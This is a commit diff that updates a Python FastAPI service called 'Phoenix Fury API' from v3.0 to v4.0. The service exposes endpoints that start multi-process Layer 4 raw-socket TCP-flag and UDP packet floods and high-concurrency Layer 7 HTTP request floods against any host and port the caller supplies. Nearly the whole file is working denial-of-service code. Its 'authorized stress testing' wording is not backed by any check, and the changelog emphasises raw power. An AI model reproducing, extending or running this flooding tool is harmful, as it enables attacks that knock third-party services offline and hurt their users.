Samuraiog commited on
Commit
d166ead
·
verified ·
1 Parent(s): 9900bc1

Update phoenix_fury_api.py

Browse files
Files changed (1) hide show
  1. phoenix_fury_api.py +231 -182
phoenix_fury_api.py CHANGED
@@ -1,15 +1,18 @@
1
  # ====================================================================================
2
- # PHOENIX FURY API v3.0 - UNIFIED L4/L7 HIGH-PERFORMANCE EDITION
3
  #
4
- # - UNIFIED: Combines high-PPS Layer 4 raw socket attacks (TCP/UDP) with
5
- # high-RPS Layer 7 HTTP attacks in a single powerful API.
6
- # - MAXIMUM PERFORMANCE: Utilizes a multiprocessing.Manager for state and
7
- # a lock-protected shared memory counter for near-zero overhead statistics.
8
- # - AIOHTTP FIX: Corrected TCPConnector for compatibility with modern versions.
9
- # - PRIVILEGE AWARE: Automatically detects root/admin rights and enables
10
- # L4 capabilities accordingly.
 
 
 
11
  #
12
- # *** DESIGNED FOR AUTHORIZED, HIGH-THROUGHPUT STRESS TESTING ***
13
  # ====================================================================================
14
 
15
  import socket
@@ -24,82 +27,62 @@ import os
24
  import sys
25
  import psutil
26
  import uvloop
27
- from typing import Literal, Optional, List
28
  from ctypes import c_ulonglong
29
 
30
  # FastAPI & Pydantic
31
- from fastapi import FastAPI, HTTPException
32
- from pydantic import BaseModel, Field, validator
33
  import uvicorn
34
 
35
  # Apply uvloop for a faster asyncio event loop
36
  asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
37
 
38
- # --- Application Setup & Constants ---
39
  app = FastAPI(
40
- title="🔥 Phoenix Fury API v3.0",
41
- description="A unified, high-performance L4/L7 stress testing tool for authorized security research and network testing. Requires root/administrator privileges for Layer 4 attacks.",
42
- version="3.0.0"
43
  )
44
- CPU_COUNT = psutil.cpu_count(logical=True)
45
- STATS_BATCH_UPDATE_SIZE = 500 # Workers update the global counter after this many packets/requests
46
 
47
- # --- Realistic Browser Headers ---
 
 
48
  USER_AGENTS = [
49
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
50
- "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
 
51
  ]
52
  HTTP_HEADERS = {"Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
53
 
54
- # ====================================================================================
55
- # GLOBAL SHARED STATE (HIGH PERFORMANCE)
56
- # ====================================================================================
57
- manager = multiprocessing.Manager()
58
- STATE = manager.dict()
59
- STOP_EVENT = multiprocessing.Event()
60
- PACKET_COUNTER = multiprocessing.Value(c_ulonglong, 0)
61
- active_processes: List[multiprocessing.Process] = []
62
-
63
- def reset_state():
64
- """Resets the shared state to default values."""
65
- STATE.clear()
66
- STATE.update({
67
- "attack_running": False, "attack_type": "None", "target_host": "None",
68
- "target_ip": "None", "port": 0, "duration": 0, "start_time": 0.0,
69
- "processes": 0, "current_rate": 0.0,
70
- })
71
- STOP_EVENT.clear()
72
- with PACKET_COUNTER.get_lock():
73
- PACKET_COUNTER.value = 0
74
- active_processes.clear()
75
-
76
  # ====================================================================================
77
  # Pydantic API Models
78
  # ====================================================================================
79
  class BaseAttackConfig(BaseModel):
80
  target: str = Field(..., description="Target hostname or IP address")
81
  port: int = Field(..., ge=1, le=65535, description="Target port")
82
- duration: int = Field(..., ge=10, le=3600, description="Attack duration in seconds")
83
- processes: int = Field(CPU_COUNT, ge=1, le=CPU_COUNT * 8, description=f"Number of processes. Defaults to {CPU_COUNT}.")
84
 
85
  class L4TCPConfig(BaseAttackConfig):
86
  method: Literal["syn", "ack", "fin", "rst", "psh", "urg", "xmas"] = Field("syn", description="TCP flag")
87
 
88
  class L4UDPConfig(BaseAttackConfig):
89
- payload_size: int = Field(512, ge=0, le=1472, description="Size of UDP payload in bytes.")
90
 
91
  class L7Config(BaseAttackConfig):
92
- concurrency_per_process: int = Field(512, ge=1, le=8192, description="Concurrent async tasks per process.")
93
  method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
94
  path: str = Field("/", description="Request path")
95
 
96
  class StatusResponse(BaseModel):
97
- attack_running: bool; attack_type: str; target: str; port: int; duration: int
98
- elapsed_time: float; processes: int; total_sent: int; current_rate_pps_rps: float
 
99
  cpu_usage_percent: float; memory_usage_percent: float
100
 
101
  # ====================================================================================
102
- # CORE NETWORKING & UTILS
103
  # ====================================================================================
104
  def check_root() -> bool:
105
  try: return os.geteuid() == 0
@@ -109,35 +92,32 @@ def resolve_target(target: str) -> str:
109
  try:
110
  if "://" in target: target = target.split("://")[1].split("/")[0]
111
  return socket.gethostbyname(target)
112
- except socket.gaierror: raise HTTPException(status_code=400, detail=f"Could not resolve hostname: {target}")
 
 
 
113
 
114
  def calculate_checksum(data: bytes) -> int:
115
- s = 0;
116
  if len(data) % 2: data += b'\0'
117
  for i in range(0, len(data), 2): s += (data[i] << 8) + data[i+1]
118
  s = (s >> 16) + (s & 0xffff); s += (s >> 16); return (~s) & 0xffff
119
 
120
- def get_local_ip(target_ip: str) -> str:
121
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect((target_ip, 1)); ip = s.getsockname()[0]; s.close(); return ip
122
-
123
  # ====================================================================================
124
- # L4 ATTACK WORKER
125
  # ====================================================================================
126
- def l4_worker_process(target_ip, port, duration, attack_type, method_details, stop_event, shared_counter):
127
- local_ip = get_local_ip(target_ip)
128
- local_counter = 0
129
 
 
 
130
  try:
131
  sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
132
- except PermissionError:
133
- print(f"[Process {os.getpid()}] FATAL: Permission denied to create raw socket. Run as root/administrator.", file=sys.stderr)
134
- return
135
  except Exception as e:
136
- print(f"[Process {os.getpid()}] Socket error: {e}", file=sys.stderr)
137
  return
138
 
139
- # Pre-craft parts of the packet that don't change
140
- ip_header_base = struct.pack('!BBHHHBBH4s4s', 69, 0, 40, 0, 0, 64, 0, 0, socket.inet_aton(local_ip), socket.inet_aton(target_ip))
141
 
142
  if attack_type == 'tcp':
143
  flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32, "xmas": 41}
@@ -147,7 +127,6 @@ def l4_worker_process(target_ip, port, duration, attack_type, method_details, st
147
 
148
  while not stop_event.is_set():
149
  src_port = random.randint(1025, 65535)
150
-
151
  if attack_type == 'tcp':
152
  ip_header = ip_header_base[:6] + (socket.IPPROTO_TCP,).to_bytes(1, 'big') + ip_header_base[7:]
153
  tcp_header = struct.pack('!HHLLBBHHH', src_port, port, random.randint(1, 9999999), 0, 80, flags, 5840, 0, 0)
@@ -157,190 +136,260 @@ def l4_worker_process(target_ip, port, duration, attack_type, method_details, st
157
  packet = ip_header + tcp_header
158
  else: # udp
159
  ip_header = ip_header_base[:6] + (socket.IPPROTO_UDP,).to_bytes(1, 'big') + ip_header_base[7:]
160
- udp_header = struct.pack('!HHHH', src_port, port, 8 + method_details, 0) # Length includes header
161
  packet = ip_header + udp_header + payload
162
 
163
  sock.sendto(packet, (target_ip, 0))
164
  local_counter += 1
165
-
166
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
167
  with shared_counter.get_lock(): shared_counter.value += local_counter
168
  local_counter = 0
169
-
170
  if local_counter > 0:
171
  with shared_counter.get_lock(): shared_counter.value += local_counter
172
  sock.close()
173
 
174
- # ====================================================================================
175
- # L7 ATTACK WORKER
176
- # ====================================================================================
177
  async def l7_task(session, url, method, stop_event, shared_counter):
178
  local_counter = 0
179
  while not stop_event.is_set():
180
  try:
181
- async with session.request(method, f"{url}?{random.randint(1, 99999999)}"):
182
  local_counter += 1
183
  except Exception:
184
- local_counter += 1 # Count attempts, not just successes
185
  finally:
186
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
187
  with shared_counter.get_lock(): shared_counter.value += local_counter
188
  local_counter = 0
189
- await asyncio.sleep(0) # Yield control
190
  if local_counter > 0:
191
  with shared_counter.get_lock(): shared_counter.value += local_counter
192
 
193
  async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
194
  headers = {**HTTP_HEADERS, "User-Agent": random.choice(USER_AGENTS)}
195
- connector = aiohttp.TCPConnector(limit=None, force_close=False, ssl=False) # FIX: enable_keepalive removed
196
  timeout = aiohttp.ClientTimeout(total=10, connect=5)
197
  async with aiohttp.ClientSession(connector=connector, headers=headers, timeout=timeout) as session:
198
  tasks = [l7_task(session, url, method, stop_event, shared_counter) for _ in range(concurrency)]
199
  await asyncio.gather(*tasks)
200
 
201
- def l7_worker_process(target_ip, port, path, method, concurrency, stop_event, shared_counter):
202
- url = f"http://{target_ip}:{port}{path}"
 
 
203
  try:
204
  asyncio.run(l7_worker_main(url, method, concurrency, stop_event, shared_counter))
205
  except Exception as e:
206
- print(f"[Process {os.getpid()}] Worker error: {e}", file=sys.stderr)
207
 
208
  # ====================================================================================
209
- # ATTACK CONTROLLER
210
  # ====================================================================================
211
- def start_attack(config, family: str):
212
- if STATE["attack_running"]: return
213
- try:
214
- target_ip = resolve_target(config.target)
215
- if family == 'l4' and not check_root():
216
- print("L4 ATTACK FAILED: Root/administrator privileges are required.", file=sys.stderr)
217
- raise PermissionError("L4 attacks require root privileges.")
218
-
219
- STATE["attack_running"] = True
220
- STATE["target_host"] = config.target
221
- STATE["target_ip"] = target_ip
222
- STATE["port"] = config.port
223
- STATE["duration"] = config.duration
224
- STATE["start_time"] = time.time()
225
- STATE["processes"] = config.processes
226
-
227
- worker_target, worker_args, attack_name = (None, None, None)
228
- if family == 'l7':
229
- attack_name = f"L7-{config.method.upper()}"
230
- worker_target = l7_worker_process
231
- worker_args = (target_ip, config.port, config.path, config.method, config.concurrency_per_process, STOP_EVENT, PACKET_COUNTER)
232
- elif family == 'l4':
233
- if isinstance(config, L4TCPConfig):
234
- attack_name = f"L4-TCP-{config.method.upper()}"
235
- worker_target = l4_worker_process
236
- worker_args = (target_ip, config.port, config.duration, 'tcp', config.method, STOP_EVENT, PACKET_COUNTER)
237
- elif isinstance(config, L4UDPConfig):
238
- attack_name = "L4-UDP"
239
- worker_target = l4_worker_process
240
- worker_args = (target_ip, config.port, config.duration, 'udp', config.payload_size, STOP_EVENT, PACKET_COUNTER)
241
-
242
- STATE["attack_type"] = attack_name
243
- print(f"🔥 Starting {attack_name} attack on {config.target}:{config.port} for {config.duration}s")
244
-
245
- for _ in range(config.processes):
246
- p = multiprocessing.Process(target=worker_target, args=worker_args)
247
- active_processes.append(p)
248
- p.start()
249
-
250
- threading.Thread(target=timed_stop, args=(config.duration,)).start()
251
-
252
- except Exception as e:
253
- print(f"Failed to start attack: {e}", file=sys.stderr)
254
- stop_attack_immediately()
255
-
256
- def timed_stop(duration: int):
257
- time.sleep(duration)
258
- print(f"\nDuration of {duration}s reached. Stopping attack.")
259
- stop_attack_immediately()
260
-
261
- def stop_attack_immediately():
262
- if not STATE["attack_running"] and not STOP_EVENT.is_set(): return {"status": "info", "message": "No attack was running."}
263
-
264
- print("🛑 Sending stop signal...")
265
- STOP_EVENT.set()
266
 
267
- for p in active_processes:
268
- p.join(timeout=5)
269
- if p.is_alive(): p.terminate()
270
-
271
- elapsed = time.time() - STATE['start_time'] if STATE['start_time'] else 0
272
- total_sent = PACKET_COUNTER.value
273
- avg_rate = total_sent / elapsed if elapsed > 0 else 0
274
-
275
- print("="*40 + "\n✅ ATTACK TERMINATED.\n" + f" Total Sent: {total_sent:,}\n" +
276
- f" Elapsed Time: {elapsed:.2f}s\n" + f" Average Rate: {avg_rate:,.2f} PPS/RPS\n" + "="*40)
277
-
278
- reset_state()
279
- return {"status": "success", "message": "Attack stopped."}
280
-
281
- def stats_calculator():
282
- last_check_time = time.time(); last_count = 0
283
- while True:
284
- time.sleep(1)
285
- if STATE["attack_running"]:
286
- now = time.time(); current_count = PACKET_COUNTER.value
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
287
  elapsed = now - last_check_time
288
- if elapsed > 0: STATE["current_rate"] = (current_count - last_count) / elapsed
289
- last_check_time = now; last_count = current_count
290
- elif STATE["current_rate"] != 0:
291
- STATE["current_rate"] = 0; last_count = 0
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
292
 
293
  # ====================================================================================
294
  # FASTAPI ENDPOINTS
295
  # ====================================================================================
296
  @app.on_event("startup")
297
  def on_startup():
298
- reset_state()
299
- threading.Thread(target=stats_calculator, daemon=True).start()
300
  print("="*50)
301
- print("🔥 Phoenix Fury API v3.0 is ready.")
302
  if check_root():
303
  print("✅ Running with root privileges. Layer 4 attacks are ENABLED.")
304
  else:
305
  print("⚠️ WARNING: Not running with root privileges. Layer 4 attacks will FAIL.")
306
  print("="*50)
307
 
308
- def launch_attack_in_background(config, family):
309
- if STATE["attack_running"]: raise HTTPException(status_code=409, detail="An attack is already in progress.")
310
- threading.Thread(target=start_attack, args=(config, family)).start()
 
 
 
 
 
311
 
312
  @app.post("/attack/layer7")
313
- def api_start_l7(config: L7Config):
314
- launch_attack_in_background(config, 'l7')
315
  return {"status": "success", "message": f"L7 {config.method.upper()} attack initiated on {config.target}:{config.port}"}
316
 
317
  @app.post("/attack/layer4/tcp")
318
- def api_start_l4_tcp(config: L4TCPConfig):
319
- launch_attack_in_background(config, 'l4')
320
  return {"status": "success", "message": f"L4 TCP-{config.method.upper()} attack initiated on {config.target}:{config.port}"}
321
 
322
  @app.post("/attack/layer4/udp")
323
- def api_start_l4_udp(config: L4UDPConfig):
324
- launch_attack_in_background(config, 'l4')
325
  return {"status": "success", "message": f"L4 UDP attack initiated on {config.target}:{config.port}"}
326
 
327
  @app.post("/attack/stop")
328
- def api_stop_attack(): return stop_attack_immediately()
 
 
 
 
329
 
330
  @app.get("/status", response_model=StatusResponse)
331
  def get_status():
332
- return StatusResponse(
333
- attack_running=STATE["attack_running"], attack_type=STATE["attack_type"],
334
- target=f"{STATE['target_host']} ({STATE['target_ip']})", port=STATE["port"],
335
- duration=STATE["duration"],
336
- elapsed_time=round(time.time() - STATE["start_time"], 2) if STATE["attack_running"] else 0,
337
- processes=STATE["processes"], total_sent=PACKET_COUNTER.value,
338
- current_rate_pps_rps=round(STATE["current_rate"], 2),
339
- cpu_usage_percent=psutil.cpu_percent(), memory_usage_percent=psutil.virtual_memory().percent
340
- )
341
 
342
  @app.get("/")
343
- def root(): return {"message": "🔥 Phoenix Fury API v3.0 - Ready for authorized testing.", "docs": "/docs"}
 
344
 
345
  # --- Main Execution ---
346
  if __name__ == "__main__":
 
1
  # ====================================================================================
2
+ # PHOENIX FURY API v4.0 - TITAN CLASS
3
  #
4
+ # - RE-ARCHITECTED: Employs a thread-safe Singleton AttackManager to completely
5
+ # eliminate race conditions and ensure stable, consecutive attacks.
6
+ # - RELIABLE LIFECYCLE: Correctly uses FastAPI's BackgroundTasks for the
7
+ # entire attack lifecycle (start -> wait -> stop), guaranteeing accurate durations.
8
+ # - HTTPS/SSL SUPPORT: L7 worker now intelligently detects secure ports (443)
9
+ # and automatically uses HTTPS, fixing the critical bug of no requests on SSL.
10
+ # - MAXIMUM PERFORMANCE: Retains the high-speed shared memory counter and
11
+ # uvloop event loop for state-of-the-art PPS/RPS throughput.
12
+ # - RESILIENT & ROBUST: Enhanced process cleanup, clearer logging, and a
13
+ # state machine that prevents any overlap between attack runs.
14
  #
15
+ # *** The definitive, stable, and most powerful version. ***
16
  # ====================================================================================
17
 
18
  import socket
 
27
  import sys
28
  import psutil
29
  import uvloop
30
+ from typing import Literal, Optional, List, Union
31
  from ctypes import c_ulonglong
32
 
33
  # FastAPI & Pydantic
34
+ from fastapi import FastAPI, HTTPException, BackgroundTasks
35
+ from pydantic import BaseModel, Field
36
  import uvicorn
37
 
38
  # Apply uvloop for a faster asyncio event loop
39
  asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
40
 
41
+ # --- Application Setup ---
42
  app = FastAPI(
43
+ title="🔥 Phoenix Fury API v4.0 - Titan Class",
44
+ description="An exceptionally powerful and stable L4/L7 stress testing tool for authorized security research. Re-architected for maximum performance and reliability.",
45
+ version="4.0.0"
46
  )
 
 
47
 
48
+ # --- Constants & Configuration ---
49
+ CPU_COUNT = psutil.cpu_count(logical=True)
50
+ STATS_BATCH_UPDATE_SIZE = 1000 # Worker process updates global counter after this many packets
51
  USER_AGENTS = [
52
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
53
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
54
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/121.0",
55
  ]
56
  HTTP_HEADERS = {"Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
57
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
58
  # ====================================================================================
59
  # Pydantic API Models
60
  # ====================================================================================
61
  class BaseAttackConfig(BaseModel):
62
  target: str = Field(..., description="Target hostname or IP address")
63
  port: int = Field(..., ge=1, le=65535, description="Target port")
64
+ duration: int = Field(..., ge=10, le=7200, description="Attack duration in seconds")
65
+ processes: int = Field(CPU_COUNT, ge=1, le=CPU_COUNT * 16, description=f"Number of processes. Defaults to {CPU_COUNT}.")
66
 
67
  class L4TCPConfig(BaseAttackConfig):
68
  method: Literal["syn", "ack", "fin", "rst", "psh", "urg", "xmas"] = Field("syn", description="TCP flag")
69
 
70
  class L4UDPConfig(BaseAttackConfig):
71
+ payload_size: int = Field(1024, ge=0, le=1472, description="Size of UDP payload in bytes.")
72
 
73
  class L7Config(BaseAttackConfig):
74
+ concurrency_per_process: int = Field(1024, ge=1, le=16384, description="Concurrent async tasks per process.")
75
  method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
76
  path: str = Field("/", description="Request path")
77
 
78
  class StatusResponse(BaseModel):
79
+ attack_active: bool; attack_type: str; target_host: str; target_ip: str
80
+ port: int; duration: int; elapsed_time: float; processes: int
81
+ total_sent: int; current_rate_pps_rps: float
82
  cpu_usage_percent: float; memory_usage_percent: float
83
 
84
  # ====================================================================================
85
+ # Core Networking & Utils
86
  # ====================================================================================
87
  def check_root() -> bool:
88
  try: return os.geteuid() == 0
 
92
  try:
93
  if "://" in target: target = target.split("://")[1].split("/")[0]
94
  return socket.gethostbyname(target)
95
+ except socket.gaierror: raise ValueError(f"Could not resolve hostname: {target}")
96
+
97
+ def get_local_ip(target_ip: str) -> str:
98
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect((target_ip, 1)); ip = s.getsockname()[0]; s.close(); return ip
99
 
100
  def calculate_checksum(data: bytes) -> int:
101
+ s = 0
102
  if len(data) % 2: data += b'\0'
103
  for i in range(0, len(data), 2): s += (data[i] << 8) + data[i+1]
104
  s = (s >> 16) + (s & 0xffff); s += (s >> 16); return (~s) & 0xffff
105
 
 
 
 
106
  # ====================================================================================
107
+ # ATTACK WORKER PROCESSES (L4 & L7)
108
  # ====================================================================================
 
 
 
109
 
110
+ # --- Layer 4 Worker ---
111
+ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
112
  try:
113
  sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
114
+ local_ip = get_local_ip(target_ip)
 
 
115
  except Exception as e:
116
+ print(f"[PID {os.getpid()}] L4 Worker Error: {e}", file=sys.stderr)
117
  return
118
 
119
+ local_counter = 0
120
+ ip_header_base = struct.pack('!BBHHHBBH4s4s', 69, 0, 0, 1, 0, 64, 0, 0, socket.inet_aton(local_ip), socket.inet_aton(target_ip))
121
 
122
  if attack_type == 'tcp':
123
  flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32, "xmas": 41}
 
127
 
128
  while not stop_event.is_set():
129
  src_port = random.randint(1025, 65535)
 
130
  if attack_type == 'tcp':
131
  ip_header = ip_header_base[:6] + (socket.IPPROTO_TCP,).to_bytes(1, 'big') + ip_header_base[7:]
132
  tcp_header = struct.pack('!HHLLBBHHH', src_port, port, random.randint(1, 9999999), 0, 80, flags, 5840, 0, 0)
 
136
  packet = ip_header + tcp_header
137
  else: # udp
138
  ip_header = ip_header_base[:6] + (socket.IPPROTO_UDP,).to_bytes(1, 'big') + ip_header_base[7:]
139
+ udp_header = struct.pack('!HHHH', src_port, port, 8 + method_details, 0)
140
  packet = ip_header + udp_header + payload
141
 
142
  sock.sendto(packet, (target_ip, 0))
143
  local_counter += 1
 
144
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
145
  with shared_counter.get_lock(): shared_counter.value += local_counter
146
  local_counter = 0
 
147
  if local_counter > 0:
148
  with shared_counter.get_lock(): shared_counter.value += local_counter
149
  sock.close()
150
 
151
+ # --- Layer 7 Worker ---
 
 
152
  async def l7_task(session, url, method, stop_event, shared_counter):
153
  local_counter = 0
154
  while not stop_event.is_set():
155
  try:
156
+ async with session.request(method, f"{url}?{random.randint(1, 99999999)}", ssl=False):
157
  local_counter += 1
158
  except Exception:
159
+ local_counter += 1
160
  finally:
161
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
162
  with shared_counter.get_lock(): shared_counter.value += local_counter
163
  local_counter = 0
164
+ await asyncio.sleep(0)
165
  if local_counter > 0:
166
  with shared_counter.get_lock(): shared_counter.value += local_counter
167
 
168
  async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
169
  headers = {**HTTP_HEADERS, "User-Agent": random.choice(USER_AGENTS)}
170
+ connector = aiohttp.TCPConnector(limit=None, force_close=False)
171
  timeout = aiohttp.ClientTimeout(total=10, connect=5)
172
  async with aiohttp.ClientSession(connector=connector, headers=headers, timeout=timeout) as session:
173
  tasks = [l7_task(session, url, method, stop_event, shared_counter) for _ in range(concurrency)]
174
  await asyncio.gather(*tasks)
175
 
176
+ def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
177
+ # CRITICAL FIX: Determine protocol based on port for HTTPS support
178
+ protocol = "https" if port in [443, 8443, 4433] else "http"
179
+ url = f"{protocol}://{target_ip}:{port}{path}"
180
  try:
181
  asyncio.run(l7_worker_main(url, method, concurrency, stop_event, shared_counter))
182
  except Exception as e:
183
+ print(f"[PID {os.getpid()}] L7 Worker Error: {e}", file=sys.stderr)
184
 
185
  # ====================================================================================
186
+ # CENTRALIZED ATTACK MANAGER (SINGLETON)
187
  # ====================================================================================
188
+ class AttackManager:
189
+ _instance = None
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
190
 
191
+ def __new__(cls):
192
+ if cls._instance is None:
193
+ cls._instance = super(AttackManager, cls).__new__(cls)
194
+ cls._instance._initialized = False
195
+ return cls._instance
196
+
197
+ def __init__(self):
198
+ if self._initialized: return
199
+ self._initialized = True
200
+ self.lock = threading.Lock()
201
+ self.stats_thread = None
202
+ self._reset_state()
203
+
204
+ def _reset_state(self):
205
+ self.attack_active = False
206
+ self.attack_type = "None"
207
+ self.target_host = "None"
208
+ self.target_ip = "None"
209
+ self.port = 0
210
+ self.duration = 0
211
+ self.start_time = 0.0
212
+ self.process_count = 0
213
+ self.processes: List[multiprocessing.Process] = []
214
+ self.stop_event = multiprocessing.Event()
215
+ self.counter = multiprocessing.Value(c_ulonglong, 0)
216
+ self.current_rate = 0.0
217
+
218
+ def is_active(self):
219
+ with self.lock:
220
+ return self.attack_active
221
+
222
+ def _stats_calculator(self):
223
+ last_check_time = time.time()
224
+ last_count = 0
225
+ while not self.stop_event.is_set():
226
+ time.sleep(1)
227
+ now = time.time()
228
+ current_count = self.counter.value
229
  elapsed = now - last_check_time
230
+ if elapsed > 0:
231
+ self.current_rate = (current_count - last_count) / elapsed
232
+ last_check_time = now
233
+ last_count = current_count
234
+ self.current_rate = 0.0
235
+
236
+ def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str):
237
+ with self.lock:
238
+ if self.attack_active:
239
+ print("Start aborted: An attack is already in progress.")
240
+ return
241
+
242
+ try:
243
+ self.target_host = config.target
244
+ self.target_ip = resolve_target(self.target_host)
245
+ if family == 'l4' and not check_root():
246
+ raise PermissionError("Layer 4 attacks require root/administrator privileges.")
247
+ except (ValueError, PermissionError) as e:
248
+ print(f"Attack validation failed: {e}", file=sys.stderr)
249
+ self._reset_state()
250
+ return
251
+
252
+ self.attack_active = True
253
+ self.port = config.port
254
+ self.duration = config.duration
255
+ self.process_count = config.processes
256
+ self.start_time = time.time()
257
+
258
+ worker_target, worker_args, attack_name = (None, None, "Unknown")
259
+ if family == 'l7' and isinstance(config, L7Config):
260
+ attack_name = f"L7-{config.method.upper()}"
261
+ worker_target = l7_worker_process
262
+ worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path, config.method, config.concurrency_per_process)
263
+ elif family == 'l4':
264
+ if isinstance(config, L4TCPConfig):
265
+ attack_name = f"L4-TCP-{config.method.upper()}"
266
+ worker_target = l4_worker_process
267
+ worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'tcp', config.method)
268
+ elif isinstance(config, L4UDPConfig):
269
+ attack_name = "L4-UDP"
270
+ worker_target = l4_worker_process
271
+ worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'udp', config.payload_size)
272
+
273
+ self.attack_type = attack_name
274
+
275
+ print("="*60)
276
+ print(f"🔥 PHOENIX FURY TITAN - ATTACK SEQUENCE INITIATED 🔥")
277
+ print(f" Type: {self.attack_type} | Target: {self.target_host}:{self.port} ({self.target_ip})")
278
+ print(f" Duration: {self.duration}s | Processes: {self.process_count}")
279
+ print("="*60)
280
+
281
+ for _ in range(self.process_count):
282
+ p = multiprocessing.Process(target=worker_target, args=worker_args)
283
+ self.processes.append(p)
284
+ p.start()
285
+
286
+ self.stats_thread = threading.Thread(target=self._stats_calculator)
287
+ self.stats_thread.start()
288
+
289
+ def stop(self):
290
+ with self.lock:
291
+ if not self.attack_active:
292
+ return
293
+
294
+ print(f"\nDuration of {self.duration}s reached. Sending stop signal to {len(self.processes)} processes...")
295
+ self.stop_event.set()
296
+
297
+ # Wait for processes to terminate
298
+ for p in self.processes:
299
+ p.join(timeout=5)
300
+
301
+ # Forcefully terminate any stubborn processes
302
+ for p in self.processes:
303
+ if p.is_alive():
304
+ print(f"Terminating hanging process PID: {p.pid}")
305
+ p.terminate()
306
+
307
+ if self.stats_thread:
308
+ self.stats_thread.join(timeout=2)
309
+
310
+ elapsed = time.time() - self.start_time
311
+ total_sent = self.counter.value
312
+ avg_rate = total_sent / elapsed if elapsed > 0 else 0
313
+
314
+ print("="*40)
315
+ print("✅ ATTACK TERMINATED.")
316
+ print(f" Total Sent: {total_sent:,}")
317
+ print(f" Elapsed Time: {elapsed:.2f} seconds")
318
+ print(f" Average Rate: {avg_rate:,.2f} PPS/RPS")
319
+ print("="*40)
320
+
321
+ self._reset_state()
322
+
323
+ def get_status(self) -> StatusResponse:
324
+ with self.lock:
325
+ return StatusResponse(
326
+ attack_active=self.attack_active,
327
+ attack_type=self.attack_type,
328
+ target_host=self.target_host,
329
+ target_ip=self.target_ip,
330
+ port=self.port,
331
+ duration=self.duration,
332
+ elapsed_time=round(time.time() - self.start_time, 2) if self.attack_active else 0,
333
+ processes=self.process_count,
334
+ total_sent=self.counter.value,
335
+ current_rate_pps_rps=round(self.current_rate, 2),
336
+ cpu_usage_percent=psutil.cpu_percent(),
337
+ memory_usage_percent=psutil.virtual_memory().percent
338
+ )
339
+
340
+ MANAGER = AttackManager()
341
 
342
  # ====================================================================================
343
  # FASTAPI ENDPOINTS
344
  # ====================================================================================
345
  @app.on_event("startup")
346
  def on_startup():
 
 
347
  print("="*50)
348
+ print("🔥 Phoenix Fury API v4.0 - Titan Class is ready.")
349
  if check_root():
350
  print("✅ Running with root privileges. Layer 4 attacks are ENABLED.")
351
  else:
352
  print("⚠️ WARNING: Not running with root privileges. Layer 4 attacks will FAIL.")
353
  print("="*50)
354
 
355
+ def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
356
+ if MANAGER.is_active():
357
+ raise HTTPException(status_code=409, detail="An attack is already in progress. Please stop the current attack or wait for it to complete.")
358
+
359
+ # The correct way to run a start->wait->stop sequence
360
+ background_tasks.add_task(MANAGER.start, config, family)
361
+ background_tasks.add_task(time.sleep, config.duration)
362
+ background_tasks.add_task(MANAGER.stop)
363
 
364
  @app.post("/attack/layer7")
365
+ def api_start_l7(config: L7Config, background_tasks: BackgroundTasks):
366
+ run_attack_lifecycle(config, 'l7', background_tasks)
367
  return {"status": "success", "message": f"L7 {config.method.upper()} attack initiated on {config.target}:{config.port}"}
368
 
369
  @app.post("/attack/layer4/tcp")
370
+ def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks):
371
+ run_attack_lifecycle(config, 'l4', background_tasks)
372
  return {"status": "success", "message": f"L4 TCP-{config.method.upper()} attack initiated on {config.target}:{config.port}"}
373
 
374
  @app.post("/attack/layer4/udp")
375
